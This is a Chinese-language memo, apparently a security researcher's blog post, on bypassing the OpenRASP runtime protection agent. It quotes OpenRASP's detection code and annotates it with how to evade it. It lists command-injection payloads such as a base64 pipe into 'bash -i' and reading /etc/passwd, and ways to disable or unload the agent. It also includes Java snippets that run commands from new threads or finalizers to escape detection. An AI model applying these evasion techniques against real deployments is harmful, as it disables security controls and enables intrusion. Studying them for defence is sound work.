OpenRASP绕过备忘录

绕过前准备

1. 插件热部署

你可以在插件末尾,打印一条日志

1
plugin.log('初始化成功')

当插件成功加载后就会执行,并在 plugin.log 里打印这条消息:

1
2022-11-17 16:36:11,857 INFO  [Thread-4][com.baidu.openrasp.plugin.js.log] [official] 初始化成功

2. 验证是否成功开启OpenRASP

X-Protected-By: OpenRASP

验证

3. 修改插件和配置文件,开启拦截模式

绕过

1. 插件official.js书写规则问题(其实像后面的正则绕过、反序列化绕过等其实都算插件书写规则问题)

比如部分XXE相关规则,OpenRASP默认将其设置为ignore或log
OpenRASP没有hook native方法,这样就能直接用forkAndExec配合文件上传执行任意命令
forkAndExec

2. 正则绕过

3. 反序列化绕过

绕过黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  // transformer 反序列化攻击
deserialization_blacklist: {
name: '算法1 - 反序列化黑名单过滤',
action: 'block',
clazz: [
'org.apache.commons.collections.functors.ChainedTransformer',
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'org.apache.xalan.xsltc.trax.TemplatesImpl',
'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
'com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase'
]
}

4. 命令注入

js插件中,这部分是对命令注入的检查
命令注入绕过1
详细算法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// 算法2: 检测命令注入,或者命令执行后门
if (algorithmConfig.command_userinput.action != 'ignore') {
var reason = false
var min_length = algorithmConfig.command_userinput.min_length
var parameters = context.parameter || {}
var json_parameters = context.json || {}
var unexploitable_filter = algorithmConfig.command_userinput.java_unexploitable_filter

// 检查命令逻辑是否被用户参数所修改
function _run(values, name)
{
var reason = false

values.some(function (value) {
if (value.length <= min_length) {
return false
}

// 检查用户输入是否存在于命令中
var userinput_idx = cmd.indexOf(value)
//cmd:sh -c ls -la /
//value:ls -la /
if (userinput_idx == -1) {
return false
}

if (cmd.length == value.length) {
reason = _("WebShell detected - Executing command: %1%", [cmd])
return true
}

// 懒加载,需要的时候初始化 token
if (raw_tokens.length == 0) {
raw_tokens = RASP.cmd_tokenize(cmd)
}
//想要绕过就让下面的判断为false
if (is_token_changed(raw_tokens, userinput_idx, value.length)) {
reason = _("Command injection - command structure altered by user input, request parameter name: %1%, value: %2%", [name, value])
//reason:Command injection - command structure altered by user input, request parameter name: cmd, value: ls -la /
return true
}
})
//reason=true时会拦截
return reason
}

// 过滤java无法利用的命令注入
if (server.language != 'java' || !unexploitable_filter || cmdJavaExploitable.test(cmd)) {
// 匹配 GET/POST/multipart 参数
Object.keys(parameters).some(function (name) {
// 覆盖场景,后者仅PHP支持
// ?id=XXXX
// ?data[key1][key2]=XXX
var value_list = []
Object.values(parameters[name]).forEach(function (value){
if (typeof value == 'string') {
value_list.push(value)
} else {
value_list = value_list.concat(Object.values(value))
}
})
reason = _run(value_list, name)
if (reason) {
return true
}
})

// 匹配 header 参数
if (reason == false && context.header != null) {
Object.keys(context.header).some(function (name) {
if ( name.toLowerCase() == "cookie") {
var cookies = get_cookies(context.header.cookie)
for (name in cookies) {
reason = _run([cookies[name]], "cookie:" + name)
if (reason) {
return true
}
}
}
else if ( headerInjection.indexOf(name.toLowerCase()) != -1) {
reason = _run([context.header[name]], "header:" + name)
if (reason) {
return true
}
}

})
}

// 匹配json参数
if (reason == false && Object.keys(json_parameters).length > 0) {
var jsons = [ [json_parameters, "input_json"] ]
while (jsons.length > 0 && reason === false) {
var json_arr = jsons.pop()
var crt_json_key = json_arr[1]
var json_obj = json_arr[0]
for (item in json_obj) {
if (typeof json_obj[item] == "string") {
reason = _run([json_obj[item]], crt_json_key + "->" + item)
if(reason !== false) {
break;
}
}
else if (typeof json_obj[item] == "object") {
jsons.push([json_obj[item], crt_json_key + "->" + item])
}
}
}
}
}

if (reason !== false)
{
return {
action: algorithmConfig.command_userinput.action,
confidence: 90,
message: reason,
algorithm: 'command_userinput'
}
}
}

简单说就是通过RASP.cmd_tokenize(cmd),获得cmd的数组,如[sh][-c][ls][-ls][/]。(cmd_tokenize方法会调用包装native的flex_tokenize方法对语句进行拆分。)
然后进入is_token_changed()方法,这个方法官方注释是检查逻辑是否被用户参数所修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// 检查逻辑是否被用户参数所修改
function is_token_changed(raw_tokens, userinput_idx, userinput_length, distance, is_sql)
{
//这里会对用户输入的参数进行分割,raw_tokens的内容实际是[sh][-c][ls][-ls][/]
//raw_tokens:[object Object],[object Object],[object Object],[object Object],[object Object]
//userinput_idx:6
//userinput_length:8
//distance:undefined
//is_sql:undefined

if (is_sql === undefined) {
is_sql = false
}
// 当用户输入穿越了多个token,就可以判定为代码注入,默认为2
var start = -1, end = raw_tokens.length, distance = distance || 2

// 寻找 token 起始点,可以改为二分查找
for (var i = 0; i < raw_tokens.length; i++)
{
plugin.log("raw_tokens[i].stop:"+raw_tokens[i].stop)
if (raw_tokens[i].stop > userinput_idx)
{
start = i
break
}
}

// 注释可能在结尾,防止去掉注释导致的越界
if (start == -1) {
return false
}

// 寻找 token 结束点
//正因如此,所以只要真正的命令是一句就能达到end = start,就能绕过拦截
if (raw_tokens[start].stop >= userinput_idx + userinput_length) {
// 大部分用户输入都只包含在一个token中,只需一次判定
end = start
} else {
// 不在一个token内,按顺序查找
// 这里需要返回真实distance, 删除 最多需要遍历 distance 个 token i < start + distance 条件
for (var i = start + 1; i < raw_tokens.length; i++)
{
if (raw_tokens[i].stop >= userinput_idx + userinput_length)
{
if (raw_tokens[i].start >= userinput_idx + userinput_length) {
end = i - 1
break
} else {
end = i
break
}
}
}
}
plugin.log('start:'+start)
plugin.log('end:'+end)

var diff = end - start + 1
//这里只要想办法让diff<distance就能绕过命令注入检测,传入的distance为undefined,所以方法将distance设为2
//也就是说只要想办法让diff<2就能绕过命令注入检测
//根据diff = end - start + 1,就知道需要end-start<1,也就是end=start
if (diff >= distance) {
if (is_sql && algorithmConfig.sql_userinput.anti_detect_enable && diff < 10) {
var non_kw = 0
for (var i = start; i <= end; i++) {
sqliAntiDetect.test(raw_tokens[i].text) || non_kw ++
if (non_kw >= 2) {
return true
}
}
return false
}
return true
}
return false
}

通过代码中我标的注释可知,只有当命令为一个词时才会被执行。
单句命令:
方式1:不可以。{echo,bHMgLWxhIC8=}|{base64,-d}|{bash,-i},但会报错The valid characters are defined in RFC 7230 and RFC 3986,原因是tomcat负责解析http请求的是org.apache.tomcat.util.http.parser.HttpParser,它对请求对URL中对字符做了限制,解除限制需要在conf/catalina.properties中添加配置;
方式2:不可以。cat$IFS/etc/passwd,会对特殊字符的报错/格式化

5. 熔断配置:

在配置文件中设置一下参数:

1
2
3
cpu.usage.enable: true
cpu.usage.interval: 5
cpu.usage.percent: 0.5

如果测试失败,可以debug看看OpenRASP获取CPU代码段是否正确。
对于OpenRASP,关键代码位于com.baidu.openrasp.tool.cpumonitor.CpuMonitor#checkCpuUsage方法
cpu1
主要是使用以下逻辑计算cpu利用率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
pid=17184 进程号
utime=45010 该任务在用户态运行的时间,单位为jiffies
stime=4050 该任务在核心态运行的时间,单位为jiffies
cutime=0 所有已死线程在用户态运行的时间,单位为jiffies
cstime=0 所有已死在核心态运行的时间,单位为jiffies
*/
//
String content = FileUtils.readFileToString(file);///file:proc/<pid>/stat
String[] fields = content.trim().split("\\s+");
this.utime = Long.parseLong(fields[13]);
this.stime = Long.parseLong(fields[14]);
this.cutime = Long.parseLong(fields[15]);
this.cstime = Long.parseLong(fields[16]);

xxxTime = utime + stime + cutime + cstime;

totalUsage = (float) (currentProcessCpuTime - this.lastProcessCpuTime) * 10 * 100 / (float) (currentTotalCpuTime - this.lastTotalCpuTime);

这里的逻辑主要是将被注入rasp的进程的CPU利用率与总cpu*配置文件中的百分比进行比较。如果totalCpuUsage > cpuUsageUpper,就将totalCpuUsage放入cpuUsageList中,如果cpuUsageList的size大于等于3,就会将是否禁用全部hook点的标志位disableHooks设置为true
这样在com.baidu.openrasp.HookHandler#doCheckWithoutRequest方法中会对这个标志位进行判断,如果是true,就会提前返回,禁用全部hook点。

6. JNI注入

传统意义上绕过jni有两种方式:
1)应用存在文件上传,那就直接传一个so文件,再利用代码执行漏洞调用so jni库就行
2)冰蝎作者rebeyond师傅提出基于已有的tomcat-jni(tomcat-jni并不是每个tomcat都有),tomcat-jni提供进程操作、文件操作、网络操作。所以当能使用tomcat-jni时就能绕过RASP

7. 当有代码执行权限时的手法

有代码执行权限时可以关掉RASP的开关(比如上一篇文章中介绍的当服务器的cpu使用率超过90%,禁用全部hook点出有OpenRASP开关代码)、增加白名单等

8. 能任意文件上传时

有权限的话可以覆盖或增加js插件,系统会热加载插件。

9. 冰蝎、哥斯拉对RASP的绕过

哥斯拉:使用含有413个和常用类名非常像的类名字典,生成的恶意类名就从字典里获取,进行欺骗
冰蝎:使用传统的packet名+随机字符的类名,进行欺骗
一方面为了进行欺骗,另一方面是为了让其堆栈变得不可猜测

10. 匹配不一致。比如应用用fastjson,RASP用json,那有的payload可能RASP不认识,但应用认识

11. 绕语义分析:就是让语义分析不认识。sql的handle语句,RASP大多数语句分析都不认识

handler语句语法

1
2
3
4
5
6
7
8
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

12. 用大量脏数据绕过(oom?)

13. 黑名单绕过:Linux一切基于文件

Snipaste_2022-11-15_21-20-49

14. 上下文逃逸:

RASP检测需要上下文堆栈,同时在当前线程内会保存一些用于辅助判断的信息。这时一旦新建线程,逃脱出当前线程,之前的堆栈和缓存信息都没了,除非行为非常敏感,否则就造成逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.IOException;

//直接新建线程
public class NewThread {
static {
Thread t = new Thread(new Runnable() {
@Override
public void run() {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
} catch (IOException e) {
e.printStackTrace();
}
}
});
t.start();
}

public NewThread() {
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.IOException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
//基于线程池
public class ThreadPool {
static {
try {
ExecutorService newCachedThreadPool = Executors.newCachedThreadPool();
newCachedThreadPool.execute(new Runnable() {
@Override
public void run() {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
} catch (IOException e) {
e.printStackTrace();
}
}

});
} catch (Exception e) {
}
}
public ThreadPool() {
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.lang.ref.WeakReference;

//通过若引用的garbage collection(GC)
public class TestGc {
static {
TestGc testGc = new TestGc();
WeakReference<TestGc> weakPerson = new WeakReference<TestGc>(testGc);
testGc = null;
System.gc();
}

public TestGc() {
}

//在GC的时候,会调用finalize。可以通过弱引用快速调用finalize,即弱引用指向的对象为空,就会立刻执行finalize
//要在别的文件中new TestGc()进行测试
@Override
protected void finalize() throws Throwable {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
super.finalize();
}
}

15. 卸载RASP:

最后一个agent的能够将之前的agent全部通过retransform还原
简单来说就是列一个需要还原的list,如java.lang. UNIXProcess,然后将获得的类初始源码和hook到的源码进行比对,不想等就替换成类初始源码。
Snipaste_2022-11-15_21-35-32
Snipaste_2022-11-15_21-35-48